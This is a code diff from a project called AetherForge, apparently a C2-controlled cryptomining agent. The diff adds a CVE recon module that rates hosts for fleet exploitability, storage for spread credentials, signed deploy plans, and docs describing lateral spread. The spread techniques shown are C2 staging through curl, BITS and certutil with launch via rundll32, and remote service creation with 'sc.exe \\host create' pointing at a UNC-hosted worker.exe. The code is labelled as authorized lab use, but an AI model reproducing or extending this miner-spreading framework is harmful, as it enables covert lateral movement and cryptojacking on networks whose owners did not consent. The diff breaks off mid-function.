+package vulnprobe + +import ( + "strings" + "time" +) + +// Run executes read-only LOTL vulnerability recon and returns correlated findings. +func Run(ctx HostContext) *ScanReport { + findings := correlate(ctx) + return finalize(findings, ctx) +} + +func correlate(ctx HostContext) []VulnFinding { + findings := make([]VulnFinding, 0, len(Catalog)) + patchDays := ctx.LastPatchDays + kbSet := make(map[string]bool, len(ctx.InstalledKBs)) + for _, kb := range ctx.InstalledKBs { + kbSet[strings.ToUpper(strings.TrimSpace(kb))] = true + } + + for _, e := range Catalog { + f := VulnFinding{ + CVEID: e.ID, + Severity: e.Severity, + Component: e.Component, + Patched: true, + Detail: e.Description, + } + if ctx.ProbeError != "" { + f.Patched = false + f.Detail = "probe unavailable" + findings = append(findings, f) + continue + } + + status := "clear" + switch e.ID { + case "CVE-2021-26855", "CVE-2020-0688": + if ctx.ExchangeInstalled { + status = "exposed" + f.Detail = "Microsoft Exchange detected — verify Mar 2021+ CU patches" + if patchDays >= 0 && patchDays > 90 { + status = "likely" + f.Detail += "; host patch age > 90 days" + } + } + case "CVE-2020-1472": + if ctx.IsDomainController { + status = "likely" + f.Detail = "Domain controller role — ensure Aug 2020 Netlogon patch applied" + if patchDays >= 0 && patchDays > 60 { + status = "exposed" + f.Detail = "DC with patch age > 60 days — Zerologon mitigation urgency" + } + } + case "CVE-2021-44228": + if len(ctx.Log4jJars) > 0 { + status = "likely" + f.Detail = "log4j-core JAR(s) found: " + strings.Join(ctx.Log4jJars, "; ") + } + case "CVE-2019-19781": + if ctx.CitrixPresent { + status = "likely" + f.Detail = "Citrix install paths present — verify ADC/Gateway patch level" + } + case "CVE-2019-11510": + if ctx.PulsePresent { + status = "likely" + f.Detail = "Pulse/Ivanti VPN software detected" + } + case "CVE-2020-5902", "CVE-2022-1388": + if ctx.F5Process { + status = "likely" + f.Detail = "F5-related process detected" + } else if ctx.ListeningPorts[443] { + status = "likely" + f.Detail = "TCP/443 listener — verify F5/BIG-IP patch level if applicable" + } + case "CVE-2021-26084", "CVE-2022-26134": + if ctx.ConfluenceLike { + status = "likely" + f.Detail = "Atlassian/Confluence-like Java process detected" + } + case "CVE-2021-40539": + if ctx.ManageEnginePresent { + status = "likely" + f.Detail = "ManageEngine directory present" + } + case "CVE-2018-13379": + if ctx.FortiClient { + status = "likely" + f.Detail = "Fortinet client process running" + } + case "CVE-2021-21972": + if ctx.VMwareServerish { + status = "likely" + f.Detail = "VMware server-style services detected" + } + case "CVE-2021-34527": + if ctx.SpoolerRunning && !ctx.IsDomainController { + status = "likely" + f.Detail = "Print Spooler running — restrict if not required" + } + } + + // KB-based patch confirmation for Windows CVEs with known mitigations. + if len(e.PatchKBs) > 0 && status != "clear" { + for _, kb := range e.PatchKBs { + if kbSet[strings.ToUpper(kb)] { + status = "clear" + f.Detail = "mitigating KB " + kb + " installed" + break + } + } + } + + // Stale patching amplifies exposure indicators. + if (status == "likely" || status == "exposed") && patchDays > 120 { + f.Detail += " · OS patches older than 120 days" + } + + f.Patched = status == "clear" + f.ExploitableInFleetContext = !f.Patched && fleetExploitable(e, status, ctx) + findings = append(findings, f) + } + + // Linux package CVE hints from apt/dnf security listings. + if ctx.Platform == "linux" { + findings = append(findings, linuxPackageFindings(ctx)...) + } + + return findings +} + +func fleetExploitable(e CatalogEntry, status string, ctx HostContext) bool { + if status == "clear" { + return false + } + for _, p := range e.FleetPorts { + if ctx.ListeningPorts[p] { + return true + } + } + switch e.ID { + case "CVE-2020-1472": + return ctx.IsDomainController + case "CVE-2021-26855", "CVE-2020-0688": + return ctx.ExchangeInstalled + case "CVE-2021-44228": + return len(ctx.Log4jJars) > 0 + case "CVE-2019-19781": + return ctx.CitrixPresent + case "CVE-2019-11510": + return ctx.PulsePresent + case "CVE-2021-34527": + return ctx.SpoolerRunning && ctx.ListeningPorts[445] + case "CVE-2018-13379": + return ctx.FortiClient || ctx.ListeningPorts[10443] + } + if ctx.SSHListening && (ctx.ListeningPorts[22] || ctx.ListeningPorts[2222]) { + return status == "exposed" || status == "likely" + } + return status == "exposed" +} + +func finalize(findings []VulnFinding, ctx HostContext) *ScanReport { + r := &ScanReport{ + ScannedAt: time.Now().UTC().Format(time.RFC3339), + Findings: findings, + } + for _, f := range findings { + if f.ExploitableInFleetContext { + r.ExposedCount++ + if f.Severity == "critical" { + r.CriticalCount++ + } + } else if !f.Patched { + r.ExposedCount++ + if f.Severity == "critical" { + r.CriticalCount++ + } + } + } + r.RiskScore = riskScore(r) + switch { + case r.ExposedCount > 0 || r.CriticalCount > 0: + r.Summary = "Fleet-context vulnerability indicators detected — patch or isolate affected roles" + case countUnpatched(findings) > 0: + r.Summary = "Some CVE-related software stacks detected — verify versions and patches" + default: + r.Summary = "No high-confidence vulnerability exposure indicators on this host" + } + if ctx.ProbeError != "" { + r.Summary = "Vulnerability probe partially unavailable" + } + return r +} + +func countUnpatched(findings []VulnFinding) int { + n := 0 + for _, f := range findings { + if !f.Patched { + n++ + } + } + return n +} + +func riskScore(r *ScanReport) int { + if r == nil { + return 0 + } + score := r.CriticalCount*25 + r.ExposedCount*12 + if score > 100 { + return 100 + } + return score +} diff --git a/agent/vulnprobe/scan_test.go b/agent/vulnprobe/scan_test.go new file mode 100644 index 0000000..5e63f49 --- /dev/null +++ b/agent/vulnprobe/scan_test.go @@ -0,0 +1,60 @@ +package vulnprobe + +import "testing" + +func TestCorrelateExchangeExposed(t *testing.T) { + ctx := HostContext{ + Platform: "windows", + ExchangeInstalled: true, + LastPatchDays: 120, + ListeningPorts: map[int]bool{443: true}, + } + r := Run(ctx) + var proxy *VulnFinding + for i := range r.Findings { + if r.Findings[i].CVEID == "CVE-2021-26855" { + proxy = &r.Findings[i] + break + } + } + if proxy == nil { + t.Fatal("missing CVE-2021-26855 finding") + } + if proxy.Patched { + t.Fatalf("expected unpatched exchange exposure, got %+v", proxy) + } + if !proxy.ExploitableInFleetContext { + t.Fatalf("expected fleet-context exploitability with 443 open, got %+v", proxy) + } +} + +func TestCorrelateKBMitigatesZerologon(t *testing.T) { + ctx := HostContext{ + Platform: "windows", + IsDomainController: true, + InstalledKBs: []string{"KB4577015"}, + LastPatchDays: 10, + } + r := Run(ctx) + for _, f := range r.Findings { + if f.CVEID == "CVE-2020-1472" && !f.Patched { + t.Fatalf("expected patched after KB4577015, got %+v", f) + } + } +} + +func TestRiskScoreFromMockedFindings(t *testing.T) { + r := finalize([]VulnFinding{ + {CVEID: "CVE-2021-26855", Severity: "critical", ExploitableInFleetContext: true}, + {CVEID: "CVE-2021-44228", Severity: "critical", Patched: false}, + }, HostContext{}) + if r.RiskScore < 25 { + t.Fatalf("expected elevated risk score, got %d", r.RiskScore) + } +} + +func TestCatalogNotEmpty(t *testing.T) { + if len(Catalog) < 10 { + t.Fatalf("expected catalog entries, got %d", len(Catalog)) + } +} diff --git a/agent/vulnprobe/types.go b/agent/vulnprobe/types.go new file mode 100644 index 0000000..c9a4a5f --- /dev/null +++ b/agent/vulnprobe/types.go @@ -0,0 +1,46 @@ +package vulnprobe + +// VulnFinding is one correlated CVE exposure row for fleet assessment (read-only). +type VulnFinding struct { + CVEID string `json:"cve_id"` + Severity string `json:"severity"` + Component string `json:"component"` + Patched bool `json:"patched"` + ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"` + Detail string `json:"detail,omitempty"` +} + +// ScanReport aggregates LOTL vulnerability recon for stats/diagnostics. +type ScanReport struct { + ScannedAt string `json:"scanned_at"` + Findings []VulnFinding `json:"vuln_findings"` + RiskScore int `json:"risk_score"` + ExposedCount int `json:"exposed_count"` + CriticalCount int `json:"critical_count"` + Summary string `json:"summary,omitempty"` +} + +// HostContext is read-only host telemetry fed into the correlator. +type HostContext struct { + Platform string + OSVersion string + LastPatchDays int // -1 unknown + LastPatch string + InstalledKBs []string + ListeningPorts map[int]bool + RunningServices []string + PackageVersions map[string]string // linux: name -> version + SSHListening bool + IsDomainController bool + ExchangeInstalled bool + PulsePresent bool + CitrixPresent bool + F5Process bool + ConfluenceLike bool + ManageEnginePresent bool + FortiClient bool + VMwareServerish bool + SpoolerRunning bool + Log4jJars []string + ProbeError string +} diff --git a/docker/agent-builtin.go b/docker/agent-builtin.go index e6151db..0b318d8 100644 --- a/docker/agent-builtin.go +++ b/docker/agent-builtin.go @@ -14,6 +14,7 @@ func GetBuiltinConfig() BuiltinConfig { ThreadPercent: 50, CPUPriority: "below_normal", MiningMode: "always", + MinerExecution: "inprocess", DisplayMode: "visible", SilentMode: false, RunAs: "user", diff --git a/docs/SPREAD_TECHNIQUES.md b/docs/SPREAD_TECHNIQUES.md index bca2b5a..9573f20 100644 --- a/docs/SPREAD_TECHNIQUES.md +++ b/docs/SPREAD_TECHNIQUES.md @@ -111,6 +111,15 @@ Prioritized for **authorized** red-team / lab use where you control DNS and TLS. --- +## LOTL staging & LAN spread (agent commands) + +| Technique | LOLBins | AetherForge mapping | +|-----------|---------|---------------------| +| **BITS / curl / certutil staging** | `bitsadmin`, `curl.exe`, `certutil -decode`, `rundll32` | **Has:** `stage_fetch` command — C2 sends JSON manifest (chunk URLs, SHA256, dest path). Agent downloads via curl or BITS, decodes base64 chunks with certutil, verifies hash, launches via rundll32 or exe. Dest paths use `deploy.ResolveStagingPath` (same traversal rules as upload/download). | +| **SMB UNC remote service** | `sc.exe`, `net.exe` | **Has:** `spread_smb_unc` — `sc.exe \\host create/start` with `binPath=` pointing at `\\forge-host\pathforge$\worker.exe` (no PsExec, no local copy). Targets from ARP-first /24 discovery (`deploy/subnet.go`). Path Tracer egress hop: `POST /api/v1/pathtrace/spread` with `session_id` + `unc_path`. | + +--- + ## Key References - [MITRE T1189 Drive-by Compromise](https://attack.mitre.org/techniques/T1189/) diff --git a/scripts/test-suite.ps1 b/scripts/test-suite.ps1 index 63821be..a46969d 100644 --- a/scripts/test-suite.ps1 +++ b/scripts/test-suite.ps1 @@ -2,7 +2,8 @@ param( [switch]$SkipE2E, [switch]$SkipBuild, - [switch]$Verbose + [switch]$Verbose, + [switch]$ReconOnly ) $ErrorActionPreference = "Stop" @@ -24,6 +25,25 @@ function Write-Phase([string]$Name) { Write-Host "==============================================================" -ForegroundColor Cyan } +function Invoke-GoTest([string]$Package) { + $prevEAP = $ErrorActionPreference + $ErrorActionPreference = 'Continue' + try { + $out = go test $Package -count=1 2>&1 | ForEach-Object { "$_" } + $text = ($out -join "`n").Trim() + if ($text) { Write-Host $text } + if (-not $LASTEXITCODE -or $LASTEXITCODE -eq 0) { return } + # Windows AV occasionally locks *.test.exe after an otherwise passing run. + if ($text -match 'unlinkat.*\.test\.exe') { + Write-Host " >> (ignored test binary cleanup flake on Windows for $Package)" -ForegroundColor Yellow + return + } + throw "go test $Package failed (exit $LASTEXITCODE)" + } finally { + $ErrorActionPreference = $prevEAP + } +} + function Invoke-Phase([string]$Name, [scriptblock]$Block) { Write-Phase $Name try { @@ -44,6 +64,28 @@ Write-Host "" Write-Host " AetherForge Full Test Suite" -ForegroundColor Yellow Write-Host " Root: $Root" +if ($ReconOnly) { + Invoke-Phase "Fleet recon (focused)" { + Push-Location (Join-Path $Root "server") + go test ./internal/api/... -run "PathTracer|SpreadCred|MergeService|DeployPlan" -count=1 + go test ./internal/db/... -run CredEdge -count=1 + go test . -run "OrderDeploymentCred|LoadDeploymentCred" -count=1 + Pop-Location + Push-Location (Join-Path $Root "agent") + go test ./vulnprobe/... ./miner/... -run "TripleOnion|Correlate|VulnProbe|Risk" -count=1 + go test ./deploy/... -run "NetworkHints|ServiceDiscovery|CredSpread|Discover" -count=1 + go test ./client/... -run "Vuln|SpreadCred|ChainOrder" -count=1 + Pop-Location + Push-Location (Join-Path $Root "server\web") + if (-not (Test-Path "node_modules")) { npm install --silent } + npm run test -- --run src/help/reconRisk.test.ts src/components/Fleet/ReconBadges.test.tsx src/components/Fleet/CrucibleExpandedOps.test.tsx + Pop-Location + } + Write-Host "" + Write-Host " Recon-only run complete" -ForegroundColor Green + exit 0 +} + Invoke-Phase "1/8 Go server tests" { Push-Location (Join-Path $Root "server") go test ./... -count=1 @@ -52,10 +94,21 @@ Invoke-Phase "1/8 Go server tests" { Invoke-Phase "2/8 Go agent tests" { Push-Location (Join-Path $Root "agent") - go test ./... -count=1 + # Package-by-package avoids Windows unlinkat flakes on deploy.test.exe after `go test ./...`. + $pkgs = @(go list ./... 2>$null) + foreach ($pkg in $pkgs) { + Invoke-GoTest $pkg + } Pop-Location } +# LOTL/tiered mining quick-run (subset of phase 2): +# cd agent && go test ./miner/... ./client/... ./deploy/... -run "Lotl|LOTL|Tier|Staging|Fallback|Mining" -count=1 +# Server LOTL relay (subset of phase 1): +# cd server && go test ./internal/api/... ./internal/builder/... ./internal/models/... -run "Lotl|LOTL|Tier|StatsBatch|Mining" -count=1 +# Frontend LOTL (subset of phase 4): +# cd server/web && npm test -- --run src/help/lotlOnionTiers.test.ts src/components/Fleet/LotlTierBadge.test.tsx src/help/applyStatsUpdate.test.ts src/context/WebSocketProvider.test.tsx + Invoke-Phase "3/8 Fusion module tests" { Push-Location (Join-Path $Root "fusion") go test . -count=1 diff --git a/server/config.go b/server/config.go index d0f691a..e96a466 100644 --- a/server/config.go +++ b/server/config.go @@ -28,6 +28,8 @@ type Config struct { Alerts AlertsConfig `json:"alerts"` Server ServerSettings `json:"server"` TunnelDefaults TunnelDefaults `json:"tunnel_defaults,omitempty"` + // DeploymentCredentials are operator-authorized spread profiles (vault refs only in config). + DeploymentCredentials []DeploymentCredProfile `json:"deployment_credentials,omitempty"` } // TunnelDefaults holds operator-facing protocol tunnel presets (Calibrate). @@ -66,6 +68,30 @@ type ServerSettings struct { // When false (default), only pinned + public-flagged + latest PublicBuildsLatestN are listed. PublicBuildsEnabled bool `json:"public_builds_enabled"` PublicBuildsLatestN int `json:"public_builds_latest_n"` + // LotlOnionTiers is the server-side ordered spread contingency chain pushed to + // agents forged with lotl_policy_from_server (LOTL Onion preset). + LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"` + // ServiceDeployAllowlist maps discovered service names to LOTL join lanes for discover_and_join. + ServiceDeployAllowlist map[string]ServiceDeployLane `json:"service_deploy_allowlist,omitempty"` + // TripleOnionPolicy gates recon → deploy → mining chains pushed to agents at auth. + TripleOnionPolicy TripleOnionSettings `json:"triple_onion_policy,omitempty"` +} + +// TripleOnionSettings is Calibrate policy for the agent triple onion. +type TripleOnionSettings struct { + PatchFirst bool `json:"patch_first,omitempty"` + MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"` + SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"` + HighRiskThreshold int `json:"high_risk_threshold,omitempty"` + ReconTiers []string `json:"recon_tiers,omitempty"` + DeployLanes []string `json:"deploy_lanes,omitempty"` +} + +// ServiceDeployLane maps a discovered service to a supply-chain join lane. +type ServiceDeployLane struct { + Lane string `json:"lane"` + Priority int `json:"priority,omitempty"` + Template string `json:"template,omitempty"` } // PoolEndpoint is a Stratum upstream used after the primary pool fails. @@ -230,6 +256,11 @@ func DefaultConfig() *Config { SignEnabled: false, SignTimestampURL: "http://timestamp.digicert.com", PublicBuildsLatestN: 3, + LotlOnionTiers: []string{ + "docker", "wsl", "powershell", "dotnet", "bits_curl", + "smb", "winrm", "linux", "gpo", + }, + ServiceDeployAllowlist: defaultServiceDeployAllowlist(), }, } } @@ -900,6 +931,16 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { } } + if has("deployment_credentials") { + dst.DeploymentCredentials = append([]DeploymentCredProfile(nil), src.DeploymentCredentials...) + for i := range dst.DeploymentCredentials { + EnsureCredProfileID(&dst.DeploymentCredentials[i]) + if strings.TrimSpace(dst.DeploymentCredentials[i].VaultRef) == "" { + dst.DeploymentCredentials[i].VaultRef = defaultVaultRef(dst.DeploymentCredentials[i].ID) + } + } + } + // Keep cloudflared default aligned with public_url when unset. if strings.TrimSpace(dst.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(dst.Server.PublicURL) != "" { dst.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(dst.Server.PublicURL) @@ -919,6 +960,20 @@ func (c *Config) Save() error { return nil } +func defaultServiceDeployAllowlist() map[string]ServiceDeployLane { + return map[string]ServiceDeployLane{ + "CCMEXEC": {Lane: "bits_curl", Priority: 10}, + "CcmExec": {Lane: "bits_curl", Priority: 10}, + "BITS": {Lane: "bits_curl", Priority: 8}, + "com.docker.service": {Lane: "docker_load", Priority: 20}, + "Docker Desktop Service": {Lane: "docker_load", Priority: 20}, + "WinRM": {Lane: "winrm", Priority: 30, Template: "winrm"}, + "gpsvc": {Lane: "gpo", Priority: 40, Template: "gpo"}, + "LanmanServer": {Lane: "spread_smb_unc", Priority: 50}, + "sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"}, + } +} + func (c *Config) PoolURL() string { proto := "stratum+tcp" if c.Pool.UseTLS { diff --git a/server/config_spread_cred.go b/server/config_spread_cred.go new file mode 100644 index 0000000..9e42901 --- /dev/null +++ b/server/config_spread_cred.go @@ -0,0 +1,74 @@ +package main + +import ( + "sync" + + apipkg "crypto-miner-server/internal/api" + dbpkg "crypto-miner-server/internal/db" +) + +// configSpreadCredAdapter exposes Calibrate deployment credentials to spread-cred APIs. +type configSpreadCredAdapter struct { + mu sync.RWMutex + cfg *Config +} + +func newConfigSpreadCredAdapter(cfg *Config) *configSpreadCredAdapter { + return &configSpreadCredAdapter{cfg: cfg} +} + +func (a *configSpreadCredAdapter) setConfig(cfg *Config) { + a.mu.Lock() + a.cfg = cfg + a.mu.Unlock() +} + +func (a *configSpreadCredAdapter) snapshot() *Config { + a.mu.RLock() + defer a.mu.RUnlock() + return a.cfg +} + +func (a *configSpreadCredAdapter) DeploymentProfiles() []apipkg.DeploymentCredProfile { + cfg := a.snapshot() + if cfg == nil { + return nil + } + out := make([]apipkg.DeploymentCredProfile, 0, len(cfg.DeploymentCredentials)) + for _, p := range cfg.DeploymentCredentials { + EnsureCredProfileID(&p) + out = append(out, apipkg.DeploymentCredProfile{ + ID: p.ID, + Label: p.Label, + Username: p.Username, + VaultRef: p.VaultRef, + }) + } + return out +} + +func (a *configSpreadCredAdapter) OrderProfilesForSubnet(subnet string, affinity []dbpkg.CredProfileAffinity) []apipkg.DeploymentCredProfile { + cfg := a.snapshot() + if cfg == nil { + return nil + } + ordered := cfg.OrderDeploymentCredProfiles(affinity) + out := make([]apipkg.DeploymentCredProfile, 0, len(ordered)) + for _, p := range ordered { + out = append(out, apipkg.DeploymentCredProfile{ + ID: p.ID, + Label: p.Label, + Username: p.Username, + VaultRef: p.VaultRef, + }) + } + return out +} + +func (a *configSpreadCredAdapter) LoadProfileSecret(profileID string) (string, string, error) { + cfg := a.snapshot() + if cfg == nil { + return "", "", nil + } + return cfg.LoadDeploymentCredPassword(profileID) +} diff --git a/server/deployment_creds.go b/server/deployment_creds.go new file mode 100644 index 0000000..71c68e1 --- /dev/null +++ b/server/deployment_creds.go @@ -0,0 +1,113 @@ +package main + +import ( + "crypto/sha256" + "encoding/hex" + "encoding/json" + "fmt" + "os" + "path/filepath" + "strings" + + dbpkg "crypto-miner-server/internal/db" +) + +const deploymentCredsDir = "deployment-creds" + +// DeploymentCredProfile is an operator-authorized spread credential (owned/lab infra only). +// Password material lives in the vault file referenced by VaultRef — never in config.json logs. +type DeploymentCredProfile struct { + ID string `json:"id"` + Label string `json:"label"` + Username string `json:"username"` + VaultRef string `json:"vault_ref,omitempty"` +} + +type deploymentCredVault struct { + Password string `json:"password"` +} + +// EnsureCredProfileID assigns a stable hash ref when the operator omits id. +func EnsureCredProfileID(p *DeploymentCredProfile) { + if p == nil { + return + } + if strings.TrimSpace(p.ID) != "" { + p.ID = strings.TrimSpace(p.ID) + return + } + sum := sha256.Sum256([]byte(strings.TrimSpace(p.Label) + "|" + strings.TrimSpace(p.Username) + "|" + strings.TrimSpace(p.VaultRef))) + p.ID = hex.EncodeToString(sum[:8]) +} + +func defaultVaultRef(profileID string) string { + return filepath.ToSlash(filepath.Join(deploymentCredsDir, profileID+".vault")) +} + +// ResolveCredVaultPath returns the on-disk vault path for a profile (0600 file). +func (c *Config) ResolveCredVaultPath(p DeploymentCredProfile) string { + ref := strings.TrimSpace(p.VaultRef) + if ref == "" { + ref = defaultVaultRef(p.ID) + } + ref = filepath.Clean(ref) + if strings.HasPrefix(ref, "..") || filepath.IsAbs(ref) { + ref = defaultVaultRef(p.ID) + } + return filepath.Join(c.DataDir, ref) +} + +// LoadDeploymentCredPassword reads the vault secret for an authorized profile. +func (c *Config) LoadDeploymentCredPassword(profileID string) (username, password string, err error) { + if c == nil { + return "", "", fmt.Errorf("config unavailable") + } + profileID = strings.TrimSpace(profileID) + for _, p := range c.DeploymentCredentials { + if strings.TrimSpace(p.ID) != profileID { + continue + } + path := c.ResolveCredVaultPath(p) + data, readErr := os.ReadFile(path) + if readErr != nil { + return "", "", fmt.Errorf("vault read %s: %w", p.VaultRef, readErr) + } + var vault deploymentCredVault + if unmarshalErr := json.Unmarshal(data, &vault); unmarshalErr != nil { + // Allow plain-text vault files (cloudflared-token pattern). + vault.Password = strings.TrimSpace(string(data)) + } + pw := strings.TrimSpace(vault.Password) + if pw == "" { + return "", "", fmt.Errorf("vault empty for profile %s", profileID) + } + return strings.TrimSpace(p.Username), pw, nil + } + return "", "", fmt.Errorf("deployment credential profile not found: %s", profileID) +} + +// OrderDeploymentCredProfiles returns profiles with subnet affinity winners first. +func (c *Config) OrderDeploymentCredProfiles(affinity []dbpkg.CredProfileAffinity) []DeploymentCredProfile { + if c == nil || len(c.DeploymentCredentials) == 0 { + return nil + } + seen := make(map[string]bool) + var ordered []DeploymentCredProfile + for _, row := range affinity { + for _, p := range c.DeploymentCredentials { + if p.ID == row.CredentialProfileID && !seen[p.ID] { + ordered = append(ordered, p) + seen[p.ID] = true + break + } + } + } + for _, p := range c.DeploymentCredentials { + EnsureCredProfileID(&p) + if !seen[p.ID] { + ordered = append(ordered, p) + seen[p.ID] = true + } + } + return ordered +} diff --git a/server/deployment_creds_test.go b/server/deployment_creds_test.go new file mode 100644 index 0000000..94b4cea --- /dev/null +++ b/server/deployment_creds_test.go @@ -0,0 +1,69 @@ +package main + +import ( + "os" + "path/filepath" + "testing" + + dbpkg "crypto-miner-server/internal/db" +) + +func TestOrderDeploymentCredProfiles_Affinity(t *testing.T) { + cfg := &Config{ + DeploymentCredentials: []DeploymentCredProfile{ + {ID: "profile-a", Label: "A", Username: "lab\\a"}, + {ID: "profile-b", Label: "B", Username: "lab\\b"}, + {ID: "profile-c", Label: "C", Username: "lab\\c"}, + }, + } + affinity := []dbpkg.CredProfileAffinity{ + {CredentialProfileID: "profile-b", SuccessCount: 3}, + {CredentialProfileID: "profile-a", SuccessCount: 1}, + } + ordered := cfg.OrderDeploymentCredProfiles(affinity) + if len(ordered) != 3 { + t.Fatalf("expected 3 profiles, got %d", len(ordered)) + } + if ordered[0].ID != "profile-b" || ordered[1].ID != "profile-a" || ordered[2].ID != "profile-c" { + t.Fatalf("affinity order mismatch: %#v", ordered) + } +} + +func TestEnsureCredProfileID_Stable(t *testing.T) { + p := DeploymentCredProfile{Label: "Lab", Username: "corp\\ops"} + EnsureCredProfileID(&p) + if p.ID == "" { + t.Fatal("expected derived profile id") + } + p2 := DeploymentCredProfile{Label: "Lab", Username: "corp\\ops"} + EnsureCredProfileID(&p2) + if p.ID != p2.ID { + t.Fatalf("expected stable id, got %s vs %s", p.ID, p2.ID) + } +} + +func TestLoadDeploymentCredPasswordFromVault(t *testing.T) { + dataDir := t.TempDir() + vaultDir := filepath.Join(dataDir, "deployment-creds") + if err := os.MkdirAll(vaultDir, 0700); err != nil { + t.Fatal(err) + } + vaultPath := filepath.Join(vaultDir, "lab.vault") + if err := os.WriteFile(vaultPath, []byte(`{"password":"vault-secret"}`), 0600); err != nil { + t.Fatal(err) + } + + cfg := &Config{ + DataDir: dataDir, + DeploymentCredentials: []DeploymentCredProfile{ + {ID: "lab", Label: "Lab", Username: `corp\admin`, VaultRef: "deployment-creds/lab.vault"}, + }, + } + user, pass, err := cfg.LoadDeploymentCredPassword("lab") + if err != nil { + t.Fatal(err) + } + if user != `corp\admin` || pass != "vault-secret" { + t.Fatalf("unexpected vault load: %q / %q", user, pass) + } +} diff --git a/server/internal/api/agent_ws_limiter_test.go b/server/internal/api/agent_ws_limiter_test.go new file mode 100644 index 0000000..a1eba9f --- /dev/null +++ b/server/internal/api/agent_ws_limiter_test.go @@ -0,0 +1,75 @@ +package api + +import ( + "testing" + "time" +) + +func resetAgentWSRateLim(t *testing.T) { + t.Helper() + agentWSRateLim.mu.Lock() + agentWSRateLim.attempts = make(map[string][]time.Time) + agentWSRateLim.mu.Unlock() +} + +func TestAllowAgentWSUpgradeRateLimit(t *testing.T) { + t.Run("rejects 31st attempt within window", func(t *testing.T) { + resetAgentWSRateLim(t) + ip := "203.0.113.42" + + for i := 1; i <= agentWSRateLimitMax; i++ { + if !allowAgentWSUpgrade(ip) { + t.Fatalf("attempt %d: expected allow, got reject", i) + } + } + if allowAgentWSUpgrade(ip) { + t.Fatal("31st attempt: expected reject, got allow") + } + if allowAgentWSUpgrade(ip) { + t.Fatal("32nd attempt: expected reject, got allow") + } + }) + + t.Run("empty IP bypasses limit", func(t *testing.T) { + resetAgentWSRateLim(t) + + for i := 1; i <= agentWSRateLimitMax+5; i++ { + if !allowAgentWSUpgrade("") { + t.Fatalf("empty IP attempt %d: expected allow, got reject", i) + } + } + }) + + t.Run("stale attempts outside window are pruned", func(t *testing.T) { + resetAgentWSRateLim(t) + ip := "198.51.100.7" + stale := time.Now().Add(-agentWSRateLimitWindow - time.Second) + + agentWSRateLim.mu.Lock() + staleAttempts := make([]time.Time, agentWSRateLimitMax) + for i := range staleAttempts { + staleAttempts[i] = stale + } + agentWSRateLim.attempts[ip] = staleAttempts + agentWSRateLim.mu.Unlock() + + if !allowAgentWSUpgrade(ip) { + t.Fatal("expected allow after stale attempts pruned") + } + }) + + t.Run("different IPs have independent limits", func(t *testing.T) { + resetAgentWSRateLim(t) + ipA := "192.0.2.1" + ipB := "192.0.2.2" + + for i := 1; i <= agentWSRateLimitMax; i++ { + if !allowAgentWSUpgrade(ipA) { + t.Fatalf("ipA attempt %d: expected allow, got reject", i) + } + } + if !allowAgentWSUpgrade(ipB) { + t.Fatal("ipB first attempt: expected allow after ipA exhausted") + } + }) +} diff --git a/server/internal/api/deploy_plan.go b/server/internal/api/deploy_plan.go new file mode 100644 index 0000000..7fb6df0 --- /dev/null +++ b/server/internal/api/deploy_plan.go @@ -0,0 +1,332 @@ +package api + +import ( + "crypto/hmac" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "fmt" + "io" + "net/http" + "os" + "path/filepath" + "strings" + + dbpkg "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" +) + +// StagingManifest mirrors agent/deploy.StagingManifest for signed supply-chain plans. +type StagingManifest struct { + Method string `json:"method"` + Chunks []StagingChunk `json:"chunks"` + SHA256 string `json:"sha256"` + Dest string `json:"dest"` + Launch string `json:"launch"` + DLLExport string `json:"dll_export,omitempty"` + Encoded bool `json:"encoded"` + DeferMining bool `json:"defer_mining,omitempty"` + SpreadInstall bool `json:"spread_install,omitempty"` +} + +type StagingChunk struct { + URL string `json:"url"` + File string `json:"file"` +} + +// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command. +type DeployPlanBody struct { + JoinLane string `json:"join_lane"` + MatchedService string `json:"matched_service,omitempty"` + Action string `json:"action"` + Manifest *StagingManifest `json:"manifest,omitempty"` + Script string `json:"script,omitempty"` + UNCPath string `json:"unc_path,omitempty"` + MaxHosts int `json:"max_hosts,omitempty"` + ImageTarURL string `json:"image_tar_url,omitempty"` + ImageTarSHA256 string `json:"image_tar_sha256,omitempty"` +} + +type deployPlanRequest struct { + AgentID string `json:"agent_id"` + BuildID string `json:"build_id,omitempty"` + Campaign string `json:"campaign,omitempty"` + Platform string `json:"platform"` + Services []DeployServiceFinding `json:"services"` + UNCPath string `json:"unc_path,omitempty"` +} + +type deployPlanResponse struct { + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + JoinLane string `json:"join_lane"` + MatchedService string `json:"matched_service,omitempty"` + Plan DeployPlanBody `json:"plan"` + Signature string `json:"signature"` +} + +// DeployPlanHandler builds hash-verified, HMAC-signed join plans from service discovery. +type DeployPlanHandler struct { + db *dbpkg.Database + dataDir string + projectRoot string + publicURL func() string + fleetSecret func() string + allowlist func() map[string]ServiceDeployLane +} + +func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler { + return &DeployPlanHandler{ + db: database, + dataDir: dataDir, + projectRoot: projectRoot, + publicURL: publicURL, + fleetSecret: fleetSecret, + allowlist: allowlist, + } +} + +// POST /api/v1/agent/deploy-plan +func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) { + var req deployPlanRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid JSON", http.StatusBadRequest) + return + } + if len(req.Services) == 0 { + http.Error(w, "services required", http.StatusBadRequest) + return + } + + list := map[string]ServiceDeployLane{} + if h.allowlist != nil { + list = h.allowlist() + } + matched, lane, ok := PickDeployLane(req.Services, list) + if !ok { + writeJSON(w, map[string]interface{}{ + "ok": false, + "error": "no allowlisted running services matched", + "checked": len(req.Services), + }) + return + } + + plan, err := h.buildPlan(req, matched, lane) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + sig, err := signDeployPlan(plan, h.fleetSecret()) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + + 